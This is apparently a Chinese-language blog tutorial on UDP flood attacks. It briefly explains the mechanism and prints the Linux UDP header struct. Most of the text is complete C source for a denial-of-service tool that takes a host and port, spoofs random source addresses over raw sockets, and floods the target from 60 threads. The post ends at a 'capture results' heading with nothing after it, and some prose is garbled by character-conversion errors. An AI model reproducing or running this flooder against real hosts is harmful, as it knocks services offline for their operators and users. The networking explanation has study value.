UDP攻擊,又稱UDP洪水攻擊或UDP淹沒攻擊(英文:UDP Flood Attack)是導緻基於主機的服務拒絕攻擊的一種。UDP 是一種無連接配接的協定,而且它不需要用任何程式建立連接配接來傳輸資料。當受害系統接收到一個 UDP 資料包的時候,它會确定目的端口正在等待中的 應用程式。當它發現該端口中并不存在正在等待的應用程式,它就會産生一個目的位址無法連接配接的 ICMP資料包發送給該僞造的源位址。如果向受害者計算機端口發送了足夠多的 UDP 資料包的時候,整個系統就會癱瘓。
下面是UDP封包格式:

Linux系統中定義的UDP封包格式:
#ifndef __NETINET_UDP_H
#define __NETINET_UDP_H 1
#include <features.h>
#include <sys/types.h>
/* UDP header as specified by RFC 768, August 1980. */
struct udphdr
{
__extension__ union
{
struct
{
u_int16_t uh_sport; /* source port */
u_int16_t uh_dport; /* destination port */
u_int16_t uh_ulen; /* udp length */
u_int16_t uh_sum; /* udp checksum */
};
struct
{
u_int16_t source;
u_int16_t dest;
u_int16_t len;
u_int16_t check;
};
};
};
/* UDP socket options */
#define UDP_CORK 1 /* Never send partially complete segments. */
#define UDP_ENCAP 100 /* Set the socket to accept
encapsulated packets. */
/* UDP encapsulation types */
#define UDP_ENCAP_ESPINUDP_NON_IKE 1 /* draft-ietf-ipsec-nat-t-ike-00/01 */
#define UDP_ENCAP_ESPINUDP 2 /* draft-ietf-ipsec-udp-encaps-06 */
#define UDP_ENCAP_L2TPINUDP 3 /* rfc2661 */
#define SOL_UDP 17 /* sockopt level for UDP */
#endif /* netinet/udp.h */
接觸了前面的執行個體後,編寫UDP封包是很簡單的,下面是執行個體代碼:
//udp攻擊
//使用方法:./udp hostname destport
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <string.h>
#include <syslog.h>
#include <arpa/inet.h>
#include <setjmp.h>
#include <errno.h>
//最多線程數
#define MAXCHILD 60
//目的IP位址
struct sockaddr_in dest;
static int PROTO_UDP=-1;
static int alive=-1;
int rawsock;
//信号處理函數,設定退出變量alive
void DoS_sig(int signo)
{
alive = 0;
}
//計算校驗和
unsigned short checksum(unsigned char *buf,int len)
{
unsigned int sum=0;
unsigned short *cbuf;
cbuf=(unsigned short *)buf;
while(len>1)
{
sum+=*cbuf++;
len-=2; //剩餘尚未累加的16比特的個數
}
if(len) //若len的長度不是偶數
sum+=*(unsigned char *)cbuf; //用最後一個位元組補齊
//防溢出處理
sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);
return ~sum;
}
void DoS_Udp (int port)
{
struct sockaddr_in to;
struct ip *iph;
struct udphdr *udp;
char *packet;
int pktsize = sizeof (struct ip) + sizeof (struct udphdr) + 64;
packet =(char *)malloc (pktsize);
iph = (struct ip *) packet; //定位IP報頭部
udp = (struct udphdr *) (packet + sizeof (struct ip)); //定位上層協定位置(udp封包頭部)
memset (packet, 0, pktsize);
//IP的版本,IPv4
iph->ip_v = 4;
//IP頭部長度,位元組數
iph->ip_hl = 5;
//服務類型
iph->ip_tos = 0;
//IP封包的總長度
iph->ip_len = htons (pktsize);
//辨別,設定為PID
iph->ip_id = htons (getpid ());
//段的偏移位址
iph->ip_off = 0;
//TTL
iph->ip_ttl = 255;
//協定類型
iph->ip_p = PROTO_UDP;
//校驗和,先填寫為0
iph->ip_sum = 0;
//發送的源位址,随機建立
iph->ip_src.s_addr =random();
//發送目标位址
iph->ip_dst = dest.sin_addr;
udp->uh_sport=random();
udp->uh_dport=htons(port);
udp->uh_ulen=sizeof(udphdr)+64;
udp->uh_sum=0;
udp->uh_sum=checksum((unsigned char*)udp, sizeof(udphdr)+64);
//填寫發送目的位址部分
to.sin_family = AF_INET;
to.sin_addr = dest.sin_addr;
to.sin_port = htons(0);
//發送資料
sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &to, sizeof (struct sockaddr));
//放記憶體
free (packet);
}
void *DoS_fun (void *port)
{
while(alive)
{
DoS_Udp(*(int*)port);
// break;
}
return NULL;
}
int main(int argc,char **argv)
{
int port;
struct hostent *host;
struct protoent *protocol;
char protoname[]="udp";
pthread_t pthread[MAXCHILD]; //線程标志數組
socklen_t on=1;
alive = 1;
//截取信号CTRL+C
signal(SIGINT, DoS_sig);//設定信号處理函數
// 參數是否數量正确
if(argc < 3)
{
printf("usage : \n");
return -1;
}
port=atoi(argv[2]);
protocol=getprotobyname(protoname);
PROTO_UDP=protocol->p_proto;
dest.sin_addr.s_addr = inet_addr(argv[1]);
if(dest.sin_addr.s_addr == INADDR_NONE)
{
//為DNS位址
host = gethostbyname(argv[1]);
if(host == NULL)
{
perror("gethostbyname");
return -1;
}
char str[30];
// printf("host:%s\n",inet_ntop(host->h_addrtype,host->h_addr,str,30));
struct in_addr in;
memcpy(&in.s_addr,host->h_addr_list[0],sizeof(in.s_addr));
//printf("ip:%s\n",inet_ntoa(in));
dest.sin_addr=in;
}
printf("ip:%s\n",inet_ntoa(dest.sin_addr));
// 建立原始socket
rawsock = socket (AF_INET, SOCK_RAW, PROTO_UDP);
if (rawsock < 0)
{
perror("socket error");
exit(1);
}
// 設定IP選項,自己建構IP報頭部
setsockopt (rawsock,IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
//建立多個線程協同工作
for(int i=0; i<MAXCHILD; i++)
{
pthread_create(&pthread[i], NULL, DoS_fun, (void *)&port);
}
//等待線程結束
for(int i=0; i<MAXCHILD; i++)
pthread_join(pthread[i], NULL);
printf("over \n");
close(rawsock);
return 0;
}
結果抓包: